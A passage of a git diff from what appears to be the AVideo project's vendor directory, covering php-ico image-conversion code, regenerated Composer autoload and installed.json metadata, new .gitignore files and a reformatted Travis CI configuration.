$image['size']; + } + + $data .= $pixel_data; + unset( $pixel_data ); + + + return $data; + } + + /** + * Take a GD image resource and change it into a raw BMP format. + * + * @access private + */ + function _add_image_data( $im ) { + $width = imagesx( $im ); + $height = imagesy( $im ); + + + $pixel_data = array(); + + $opacity_data = array(); + $current_opacity_val = 0; + + for ( $y = $height - 1; $y >= 0; $y-- ) { + for ( $x = 0; $x < $width; $x++ ) { + $color = imagecolorat( $im, $x, $y ); + + $alpha = ( $color & 0x7F000000 ) >> 24; + $alpha = ( 1 - ( $alpha / 127 ) ) * 255; + + $color &= 0xFFFFFF; + $color |= 0xFF000000 & ( $alpha << 24 ); + + $pixel_data[] = $color; + + + $opacity = ( $alpha <= 127 ) ? 1 : 0; + + $current_opacity_val = ( $current_opacity_val << 1 ) | $opacity; + + if ( ( ( $x + 1 ) % 32 ) == 0 ) { + $opacity_data[] = $current_opacity_val; + $current_opacity_val = 0; + } + } + + if ( ( $x % 32 ) > 0 ) { + while ( ( $x++ % 32 ) > 0 ) + $current_opacity_val = $current_opacity_val << 1; + + $opacity_data[] = $current_opacity_val; + $current_opacity_val = 0; + } + } + + $image_header_size = 40; + $color_mask_size = $width * $height * 4; + $opacity_mask_size = ( ceil( $width / 32 ) * 4 ) * $height; + + + $data = pack( 'VVVvvVVVVVV', 40, $width, ( $height * 2 ), 1, 32, 0, 0, 0, 0, 0, 0 ); + + foreach ( $pixel_data as $color ) + $data .= pack( 'V', $color ); + + foreach ( $opacity_data as $opacity ) + $data .= pack( 'N', $opacity ); + + + $image = array( + 'width' => $width, + 'height' => $height, + 'color_palette_colors' => 0, + 'bits_per_pixel' => 32, + 'size' => $image_header_size + $color_mask_size + $opacity_mask_size, + 'data' => $data, + ); + + $this->_images[] = $image; + } + + /** + * Read in the source image file and convert it into a GD image resource. + * + * @access private + */ + function _load_image_file( $file ) { + // Run a cheap check to verify that it is an image file. + if ( false === ( $size = getimagesize( $file ) ) ) + return false; + + if ( false === ( $file_data = file_get_contents( $file ) ) ) + return false; + + if ( false === ( $im = imagecreatefromstring( $file_data ) ) ) + return false; + + unset( $file_data ); + + + return $im; + } +} diff --git a/vendor/chrisjean/php-ico/composer.json b/vendor/chrisjean/php-ico/composer.json index 5b121357fd..71d4a93f97 100644 --- a/vendor/chrisjean/php-ico/composer.json +++ b/vendor/chrisjean/php-ico/composer.json @@ -1,28 +1,28 @@ -{ - "name": "chrisjean/php-ico", - "description": "An easy-to-use library to generate valid ICO files.", - "version": "1.0.4", - "keywords": ["ico", "favicon"], - "homepage": "https://github.com/chrisbliss18/php-ico", - "license": "GPL-2.0+", - "authors": [ - { - "name": "Chris Jean", - "homepage": "https://chrisjean.com", - "role": "Developer" - } - ], - "support": { - "issues": "https://github.com/chrisbliss18/php-ico/issues", - "source": "https://github.com/chrisbliss18/php-ico" - }, - "require": { - "php": ">=5.2.4", - "ext-gd": "*" - }, - "autoload": { - "classmap": [ - "class-php-ico.php" - ] - } -} +{ + "name": "chrisjean/php-ico", + "description": "An easy-to-use library to generate valid ICO files.", + "version": "1.0.4", + "keywords": ["ico", "favicon"], + "homepage": "https://github.com/chrisbliss18/php-ico", + "license": "GPL-2.0+", + "authors": [ + { + "name": "Chris Jean", + "homepage": "https://chrisjean.com", + "role": "Developer" + } + ], + "support": { + "issues": "https://github.com/chrisbliss18/php-ico/issues", + "source": "https://github.com/chrisbliss18/php-ico" + }, + "require": { + "php": ">=5.2.4", + "ext-gd": "*" + }, + "autoload": { + "classmap": [ + "class-php-ico.php" + ] + } +} diff --git a/vendor/composer/InstalledVersions.php b/vendor/composer/InstalledVersions.php index 643afc2b3f..e322bdcad9 100644 --- a/vendor/composer/InstalledVersions.php +++ b/vendor/composer/InstalledVersions.php @@ -30,7 +30,7 @@ private static $installed = array ( 'aliases' => array ( ), - 'reference' => '8728c0672ecc29aefb1305aeb413ed24210ee1ef', + 'reference' => '16534d421740808ba107fd068052561ae69afd08', 'name' => 'wwbn/avideo', ), 'versions' => @@ -692,7 +692,7 @@ private static $installed = array ( 'aliases' => array ( ), - 'reference' => '8728c0672ecc29aefb1305aeb413ed24210ee1ef', + 'reference' => '16534d421740808ba107fd068052561ae69afd08', ), ), ); diff --git a/vendor/composer/autoload_files.php b/vendor/composer/autoload_files.php index ba96f5b219..dd85acf9be 100644 --- a/vendor/composer/autoload_files.php +++ b/vendor/composer/autoload_files.php @@ -9,17 +9,17 @@ return array( 'ad155f8f1cf0d418fe49e248db8c661b' => $vendorDir . '/react/promise/src/functions_include.php', '7b11c4dc42b3b3023073cb14e519683c' => $vendorDir . '/ralouphie/getallheaders/src/getallheaders.php', 'a0edc8309cc5e1d60e3047b5df6b7052' => $vendorDir . '/guzzlehttp/psr7/src/functions_include.php', - 'a4a119a56e50fbb293281d9a48007e0e' => $vendorDir . '/symfony/polyfill-php80/bootstrap.php', 'c964ee0ededf28c96ebd9db5099ef910' => $vendorDir . '/guzzlehttp/promises/src/functions_include.php', + 'a4a119a56e50fbb293281d9a48007e0e' => $vendorDir . '/symfony/polyfill-php80/bootstrap.php', '6e3fae29631ef280660b3cdad06f25a8' => $vendorDir . '/symfony/deprecation-contracts/function.php', - '972fda704d680a3a53c68e34e193cb22' => $vendorDir . '/react/promise-timer/src/functions_include.php', '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => $vendorDir . '/symfony/polyfill-mbstring/bootstrap.php', - 'e69f7f6ee287b969198c3c9d6777bd38' => $vendorDir . '/symfony/polyfill-intl-normalizer/bootstrap.php', + '972fda704d680a3a53c68e34e193cb22' => $vendorDir . '/react/promise-timer/src/functions_include.php', '25072dd6e2470089de65ae7bf11d3109' => $vendorDir . '/symfony/polyfill-php72/bootstrap.php', + 'e69f7f6ee287b969198c3c9d6777bd38' => $vendorDir . '/symfony/polyfill-intl-normalizer/bootstrap.php', 'f598d06aa772fa33d905e87be6398fb1' => $vendorDir . '/symfony/polyfill-intl-idn/bootstrap.php', '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php', - '0d59ee240a4cd96ddbb4ff164fccea4d' => $vendorDir . '/symfony/polyfill-php73/bootstrap.php', 'decc78cc4436b1292c6c0d151b19445c' => $vendorDir . '/phpseclib/phpseclib/phpseclib/bootstrap.php', + '0d59ee240a4cd96ddbb4ff164fccea4d' => $vendorDir . '/symfony/polyfill-php73/bootstrap.php', 'b067bc7112e384b61c701452d53a14a8' => $vendorDir . '/mtdowling/jmespath.php/src/JmesPath.php', '8a9dc1de0ca7e01f3e08231539562f61' => $vendorDir . '/aws/aws-sdk-php/src/functions.php', 'a1105708a18b76903365ca1c4aa61b02' => $vendorDir . '/symfony/translation/Resources/functions.php', diff --git a/vendor/composer/autoload_psr4.php b/vendor/composer/autoload_psr4.php index 8451ae80d9..04b1ee54c9 100644 --- a/vendor/composer/autoload_psr4.php +++ b/vendor/composer/autoload_psr4.php @@ -34,7 +34,7 @@ return array( 'Ratchet\\Client\\' => array($vendorDir . '/ratchet/pawl/src'), 'Ratchet\\' => array($vendorDir . '/cboden/ratchet/src/Ratchet'), 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'), - 'Psr\\Http\\Message\\' => array($vendorDir . '/psr/http-factory/src', $vendorDir . '/psr/http-message/src'), + 'Psr\\Http\\Message\\' => array($vendorDir . '/psr/http-message/src', $vendorDir . '/psr/http-factory/src'), 'Psr\\Http\\Client\\' => array($vendorDir . '/psr/http-client/src'), 'Psr\\Container\\' => array($vendorDir . '/psr/container/src'), 'Psr\\Cache\\' => array($vendorDir . '/psr/cache/src'), diff --git a/vendor/composer/autoload_real.php b/vendor/composer/autoload_real.php index 84c00cd945..e3e5f7be88 100644 --- a/vendor/composer/autoload_real.php +++ b/vendor/composer/autoload_real.php @@ -2,7 +2,7 @@ // autoload_real.php @generated by Composer -class ComposerAutoloaderInit51528b4a875f8e0aa6970f42ad88c832 +class ComposerAutoloaderInit4eca095a43f7c8c6d8c0f7669b7856c7 { private static $loader; @@ -22,15 +22,15 @@ class ComposerAutoloaderInit51528b4a875f8e0aa6970f42ad88c832 return self::$loader; } - spl_autoload_register(array('ComposerAutoloaderInit51528b4a875f8e0aa6970f42ad88c832', 'loadClassLoader'), true, true); + spl_autoload_register(array('ComposerAutoloaderInit4eca095a43f7c8c6d8c0f7669b7856c7', 'loadClassLoader'), true, true); self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(\dirname(__FILE__))); - spl_autoload_unregister(array('ComposerAutoloaderInit51528b4a875f8e0aa6970f42ad88c832', 'loadClassLoader')); + spl_autoload_unregister(array('ComposerAutoloaderInit4eca095a43f7c8c6d8c0f7669b7856c7', 'loadClassLoader')); $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded()); if ($useStaticLoader) { require __DIR__ . '/autoload_static.php'; - call_user_func(\Composer\Autoload\ComposerStaticInit51528b4a875f8e0aa6970f42ad88c832::getInitializer($loader)); + call_user_func(\Composer\Autoload\ComposerStaticInit4eca095a43f7c8c6d8c0f7669b7856c7::getInitializer($loader)); } else { $map = require __DIR__ . '/autoload_namespaces.php'; foreach ($map as $namespace => $path) { @@ -51,19 +51,19 @@ class ComposerAutoloaderInit51528b4a875f8e0aa6970f42ad88c832 $loader->register(true); if ($useStaticLoader) { - $includeFiles = Composer\Autoload\ComposerStaticInit51528b4a875f8e0aa6970f42ad88c832::$files; + $includeFiles = Composer\Autoload\ComposerStaticInit4eca095a43f7c8c6d8c0f7669b7856c7::$files; } else { $includeFiles = require __DIR__ . '/autoload_files.php'; } foreach ($includeFiles as $fileIdentifier => $file) { - composerRequire51528b4a875f8e0aa6970f42ad88c832($fileIdentifier, $file); + composerRequire4eca095a43f7c8c6d8c0f7669b7856c7($fileIdentifier, $file); } return $loader; } } -function composerRequire51528b4a875f8e0aa6970f42ad88c832($fileIdentifier, $file) +function composerRequire4eca095a43f7c8c6d8c0f7669b7856c7($fileIdentifier, $file) { if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { require $file; diff --git a/vendor/composer/autoload_static.php b/vendor/composer/autoload_static.php index c3ea6293ea..9d4a7a0f89 100644 --- a/vendor/composer/autoload_static.php +++ b/vendor/composer/autoload_static.php @@ -4,23 +4,23 @@ namespace Composer\Autoload; -class ComposerStaticInit51528b4a875f8e0aa6970f42ad88c832 +class ComposerStaticInit4eca095a43f7c8c6d8c0f7669b7856c7 { public static $files = array ( 'ad155f8f1cf0d418fe49e248db8c661b' => __DIR__ . '/..' . '/react/promise/src/functions_include.php', '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php', 'a0edc8309cc5e1d60e3047b5df6b7052' => __DIR__ . '/..' . '/guzzlehttp/psr7/src/functions_include.php', - 'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php', 'c964ee0ededf28c96ebd9db5099ef910' => __DIR__ . '/..' . '/guzzlehttp/promises/src/functions_include.php', + 'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php', '6e3fae29631ef280660b3cdad06f25a8' => __DIR__ . '/..' . '/symfony/deprecation-contracts/function.php', - '972fda704d680a3a53c68e34e193cb22' => __DIR__ . '/..' . '/react/promise-timer/src/functions_include.php', '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php', - 'e69f7f6ee287b969198c3c9d6777bd38' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php', + '972fda704d680a3a53c68e34e193cb22' => __DIR__ . '/..' . '/react/promise-timer/src/functions_include.php', '25072dd6e2470089de65ae7bf11d3109' => __DIR__ . '/..' . '/symfony/polyfill-php72/bootstrap.php', + 'e69f7f6ee287b969198c3c9d6777bd38' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php', 'f598d06aa772fa33d905e87be6398fb1' => __DIR__ . '/..' . '/symfony/polyfill-intl-idn/bootstrap.php', '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php', - '0d59ee240a4cd96ddbb4ff164fccea4d' => __DIR__ . '/..' . '/symfony/polyfill-php73/bootstrap.php', 'decc78cc4436b1292c6c0d151b19445c' => __DIR__ . '/..' . '/phpseclib/phpseclib/phpseclib/bootstrap.php', + '0d59ee240a4cd96ddbb4ff164fccea4d' => __DIR__ . '/..' . '/symfony/polyfill-php73/bootstrap.php', 'b067bc7112e384b61c701452d53a14a8' => __DIR__ . '/..' . '/mtdowling/jmespath.php/src/JmesPath.php', '8a9dc1de0ca7e01f3e08231539562f61' => __DIR__ . '/..' . '/aws/aws-sdk-php/src/functions.php', 'a1105708a18b76903365ca1c4aa61b02' => __DIR__ . '/..' . '/symfony/translation/Resources/functions.php', @@ -249,8 +249,8 @@ class ComposerStaticInit51528b4a875f8e0aa6970f42ad88c832 ), 'Psr\\Http\\Message\\' => array ( - 0 => __DIR__ . '/..' . '/psr/http-factory/src', - 1 => __DIR__ . '/..' . '/psr/http-message/src', + 0 => __DIR__ . '/..' . '/psr/http-message/src', + 1 => __DIR__ . '/..' . '/psr/http-factory/src', ), 'Psr\\Http\\Client\\' => array ( @@ -578,10 +578,10 @@ class ComposerStaticInit51528b4a875f8e0aa6970f42ad88c832 public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { - $loader->prefixLengthsPsr4 = ComposerStaticInit51528b4a875f8e0aa6970f42ad88c832::$prefixLengthsPsr4; - $loader->prefixDirsPsr4 = ComposerStaticInit51528b4a875f8e0aa6970f42ad88c832::$prefixDirsPsr4; - $loader->prefixesPsr0 = ComposerStaticInit51528b4a875f8e0aa6970f42ad88c832::$prefixesPsr0; - $loader->classMap = ComposerStaticInit51528b4a875f8e0aa6970f42ad88c832::$classMap; + $loader->prefixLengthsPsr4 = ComposerStaticInit4eca095a43f7c8c6d8c0f7669b7856c7::$prefixLengthsPsr4; + $loader->prefixDirsPsr4 = ComposerStaticInit4eca095a43f7c8c6d8c0f7669b7856c7::$prefixDirsPsr4; + $loader->prefixesPsr0 = ComposerStaticInit4eca095a43f7c8c6d8c0f7669b7856c7::$prefixesPsr0; + $loader->classMap = ComposerStaticInit4eca095a43f7c8c6d8c0f7669b7856c7::$classMap; }, null, ClassLoader::class); } diff --git a/vendor/composer/installed.json b/vendor/composer/installed.json index 91f24f8e26..555073b7cc 100644 --- a/vendor/composer/installed.json +++ b/vendor/composer/installed.json @@ -29,7 +29,7 @@ }, "time": "2020-09-22T14:27:00+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Abraham\\TwitterOAuth\\": "src" @@ -87,7 +87,7 @@ }, "time": "2021-09-03T22:57:30+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "classmap": [ "src/" @@ -173,7 +173,7 @@ "dev-master": "3.0-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Aws\\": "src/" @@ -239,7 +239,7 @@ }, "time": "2020-07-07T15:50:14+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Ratchet\\": "src/Ratchet" @@ -297,7 +297,7 @@ }, "time": "2016-09-27T22:00:56+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "classmap": [ "class-php-ico.php" @@ -359,7 +359,7 @@ "dev-main": "1.x-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Composer\\CaBundle\\": "src" @@ -522,7 +522,7 @@ }, "time": "2017-07-23T21:35:13+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-0": { "Evenement": "src" @@ -572,7 +572,7 @@ }, "time": "2020-06-29T00:56:53+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-0": { "HTMLPurifier": "library/" @@ -694,7 +694,7 @@ }, "time": "2021-02-05T03:39:02+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "BackblazeB2\\": "src/" @@ -776,7 +776,7 @@ "dev-master": "2.x-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Google\\": "src/" @@ -826,7 +826,7 @@ }, "time": "2021-11-05T14:29:41+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Google\\Service\\": "src" @@ -885,7 +885,7 @@ }, "time": "2021-08-24T18:03:18+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Google\\Auth\\": "src" @@ -946,7 +946,7 @@ "dev-master": "6.5-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "GuzzleHttp\\": "src/" @@ -1011,7 +1011,7 @@ "dev-master": "1.5-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "GuzzleHttp\\Promise\\": "src/" @@ -1107,7 +1107,7 @@ "dev-master": "1.7-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "GuzzleHttp\\Psr7\\": "src/" @@ -1211,7 +1211,7 @@ }, "time": "2021-03-13T17:35:33+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Hybridauth\\": "src/" @@ -1293,7 +1293,7 @@ "dev-master": "1.9.x-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "classmap": [ "getid3/" @@ -1416,7 +1416,7 @@ }, "time": "2021-05-28T08:32:12+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Monolog\\": "src/Monolog" @@ -1574,7 +1574,7 @@ ] } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Carbon\\": "src/Carbon/" @@ -1658,7 +1658,7 @@ "dev-master": "2.0-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "OneSignal\\": "src/" @@ -1727,7 +1727,7 @@ "dev-master": "1.4-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Nyholm\\Psr7\\": "src/" @@ -1792,7 +1792,7 @@ }, "time": "2021-09-21T20:57:38+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "PayPalCheckoutSdk\\": "lib/PayPalCheckoutSdk", @@ -1847,7 +1847,7 @@ }, "time": "2021-09-28T16:40:36+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "PaypalPayoutsSDK\\": "lib/PaypalPayoutsSDK", @@ -1902,7 +1902,7 @@ }, "time": "2021-09-14T21:35:26+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "PayPalHttp\\": "lib/PayPalHttp" @@ -2007,7 +2007,7 @@ "dev-master": "1.0-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Http\\Message\\": "src/" @@ -2079,7 +2079,7 @@ }, "time": "2021-08-18T09:14:16+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "PHPMailer\\PHPMailer\\": "src/" @@ -2150,7 +2150,7 @@ }, "time": "2021-10-27T02:46:30+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "files": [ "phpseclib/bootstrap.php" @@ -2256,7 +2256,7 @@ "dev-master": "1.0.x-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Cache\\": "src/" @@ -2299,11 +2299,11 @@ "shasum": "" }, "require": { - "php": ">=7.3" + "php": ">=7.2.0" }, "time": "2021-03-05T17:36:06+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Container\\": "src/" @@ -2360,7 +2360,7 @@ "dev-master": "1.0.x-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Http\\Client\\": "src/" @@ -2415,7 +2415,7 @@ "dev-master": "1.0.x-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" @@ -2472,7 +2472,7 @@ "dev-master": "1.0.x-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" @@ -2580,7 +2580,7 @@ }, "time": "2019-03-08T08:55:37+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "files": [ "src/getallheaders.php" @@ -2632,7 +2632,7 @@ }, "time": "2020-07-17T15:32:47+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Ratchet\\Client\\": "src" @@ -2684,7 +2684,7 @@ }, "time": "2020-05-15T18:31:24+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Ratchet\\RFC6455\\": "src" @@ -2743,7 +2743,7 @@ }, "time": "2021-02-02T06:47:52+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "React\\Cache\\": "src/" @@ -2826,7 +2826,7 @@ }, "time": "2021-07-11T12:40:34+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "React\\Dns\\": "src" @@ -2909,7 +2909,7 @@ }, "time": "2021-07-11T12:31:24+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "React\\EventLoop\\": "src" @@ -2985,7 +2985,7 @@ }, "time": "2020-05-12T15:16:56+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "React\\Promise\\": "src/" @@ -3040,7 +3040,7 @@ }, "time": "2021-07-11T13:08:51+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "React\\Promise\\Timer\\": "src/" @@ -3132,7 +3132,7 @@ }, "time": "2021-08-03T12:37:06+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "React\\Socket\\": "src" @@ -3214,7 +3214,7 @@ }, "time": "2021-07-11T12:37:55+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "React\\Stream\\": "src" @@ -3300,7 +3300,7 @@ }, "time": "2021-05-26T00:35:20+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "classmap": [ "lib/" @@ -3376,7 +3376,7 @@ "dev-master": "2.0-dev" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Stripe\\": "lib/" @@ -3434,7 +3434,7 @@ "url": "https://github.com/symfony/contracts" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "files": [ "function.php" @@ -3521,7 +3521,7 @@ }, "time": "2021-10-19T08:32:53+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Component\\HttpClient\\": "" @@ -3581,7 +3581,7 @@ "shasum": "" }, "require": { - "php": ">=7.3" + "php": ">=7.2.5" }, "suggest": { "symfony/http-client-implementation": "" @@ -3597,7 +3597,7 @@ "url": "https://github.com/symfony/contracts" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Contracts\\HttpClient\\": "" @@ -3678,7 +3678,7 @@ }, "time": "2021-10-11T15:41:55+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Component\\HttpFoundation\\": "" @@ -3738,14 +3738,14 @@ "shasum": "" }, "require": { - "php": ">=7.3", + "php": ">=7.2.5", "symfony/deprecation-contracts": "^2.1", "symfony/polyfill-php73": "~1.0", "symfony/polyfill-php80": "^1.16" }, "time": "2021-08-04T21:20:46+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Component\\OptionsResolver\\": "" @@ -3828,7 +3828,7 @@ "url": "https://github.com/symfony/polyfill" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Intl\\Idn\\": "" @@ -3916,7 +3916,7 @@ "url": "https://github.com/symfony/polyfill" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Intl\\Normalizer\\": "" @@ -4003,7 +4003,7 @@ "url": "https://github.com/symfony/polyfill" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Mbstring\\": "" @@ -4083,7 +4083,7 @@ "url": "https://github.com/symfony/polyfill" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Php72\\": "" @@ -4162,7 +4162,7 @@ "url": "https://github.com/symfony/polyfill" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Php73\\": "" @@ -4244,7 +4244,7 @@ "url": "https://github.com/symfony/polyfill" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Php80\\": "" @@ -4317,7 +4317,7 @@ "shasum": "" }, "require": { - "php": ">=7.3", + "php": ">=7.2.5", "symfony/deprecation-contracts": "^2.1", "symfony/polyfill-php80": "^1.16" }, @@ -4344,7 +4344,7 @@ }, "time": "2021-08-04T21:42:42+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Component\\Routing\\": "" @@ -4410,7 +4410,7 @@ "shasum": "" }, "require": { - "php": ">=7.3", + "php": ">=7.2.5", "psr/container": "^1.1" }, "suggest": { @@ -4427,7 +4427,7 @@ "url": "https://github.com/symfony/contracts" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Contracts\\Service\\": "" @@ -4527,7 +4527,7 @@ }, "time": "2021-10-10T06:43:24+00:00", "type": "library", - "installation-source": "source", + "installation-source": "dist", "autoload": { "files": [ "Resources/functions.php" @@ -4590,7 +4590,7 @@ "shasum": "" }, "require": { - "php": ">=7.3" + "php": ">=7.2.5" }, "suggest": { "symfony/translation-implementation": "" @@ -4606,7 +4606,7 @@ "url": "https://github.com/symfony/contracts" } }, - "installation-source": "source", + "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Contracts\\Translation\\": "" diff --git a/vendor/composer/installed.php b/vendor/composer/installed.php index b07053e93e..3d7fe48572 100644 --- a/vendor/composer/installed.php +++ b/vendor/composer/installed.php @@ -6,7 +6,7 @@ 'aliases' => array ( ), - 'reference' => '8728c0672ecc29aefb1305aeb413ed24210ee1ef', + 'reference' => '16534d421740808ba107fd068052561ae69afd08', 'name' => 'wwbn/avideo', ), 'versions' => @@ -668,7 +668,7 @@ 'aliases' => array ( ), - 'reference' => '8728c0672ecc29aefb1305aeb413ed24210ee1ef', + 'reference' => '16534d421740808ba107fd068052561ae69afd08', ), ), ); diff --git a/vendor/emojione/assets/.gitignore b/vendor/emojione/assets/.gitignore new file mode 100644 index 0000000000..723ef36f4e --- /dev/null +++ b/vendor/emojione/assets/.gitignore @@ -0,0 +1 @@ +.idea \ No newline at end of file diff --git a/vendor/emojione/emojione/.gitignore b/vendor/emojione/emojione/.gitignore new file mode 100644 index 0000000000..251fd6d3a2 --- /dev/null +++ b/vendor/emojione/emojione/.gitignore @@ -0,0 +1,16 @@ +.DS_Store +.idea +.idea/ +/.idea/ +node_modules/ +/node_modules/ +node_modules +.sass-cache +lib/js/tests.html +*.pyc +.tox/ +build/ +emojipy-*/ +emojipy.egg-info/ +npm-debug.log +lib/js/tests/npm-debug.log diff --git a/vendor/emojione/emojione/lib/android/generator/.gitignore b/vendor/emojione/emojione/lib/android/generator/.gitignore new file mode 100644 index 0000000000..3c3629e647 --- /dev/null +++ b/vendor/emojione/emojione/lib/android/generator/.gitignore @@ -0,0 +1 @@ +node_modules diff --git a/vendor/emojione/emojione/lib/ios/generator/.gitignore b/vendor/emojione/emojione/lib/ios/generator/.gitignore new file mode 100644 index 0000000000..3c3629e647 --- /dev/null +++ b/vendor/emojione/emojione/lib/ios/generator/.gitignore @@ -0,0 +1 @@ +node_modules diff --git a/vendor/emojione/emojione/lib/swift/generator/.gitignore b/vendor/emojione/emojione/lib/swift/generator/.gitignore new file mode 100644 index 0000000000..3c3629e647 --- /dev/null +++ b/vendor/emojione/emojione/lib/swift/generator/.gitignore @@ -0,0 +1 @@ +node_modules diff --git a/vendor/evenement/evenement/.gitignore b/vendor/evenement/evenement/.gitignore new file mode 100644 index 0000000000..987e2a253c --- /dev/null +++ b/vendor/evenement/evenement/.gitignore @@ -0,0 +1,2 @@ +composer.lock +vendor diff --git a/vendor/evenement/evenement/.travis.yml b/vendor/evenement/evenement/.travis.yml index edeab3dc1c..65ba0ced9c 100644 --- a/vendor/evenement/evenement/.travis.yml +++ b/vendor/evenement/evenement/.travis.yml @@ -1,24 +1,24 @@ -language: php - -php: - - 7.0 - - 7.1 - - hhvm - - nightly - -matrix: - allow_failures: - - php: hhvm - - php: nightly - -before_script: - - wget http://getcomposer.org/composer.phar - - php composer.phar install - -script: - - ./vendor/bin/phpunit --coverage-text - - php -n examples/benchmark-emit-no-arguments.php - - php -n examples/benchmark-emit-one-argument.php - - php -n examples/benchmark-emit.php - - php -n examples/benchmark-emit-once.php - - php -n examples/benchmark-remove-listener-once.php +language: php + +php: + - 7.0 + - 7.1 + - hhvm + - nightly + +matrix: + allow_failures: + - php: hhvm + - php: nightly + +before_script: + - wget http://getcomposer.org/composer.phar + - php composer.phar install + +script: + - ./vendor/bin/phpunit --coverage-text + - php -n 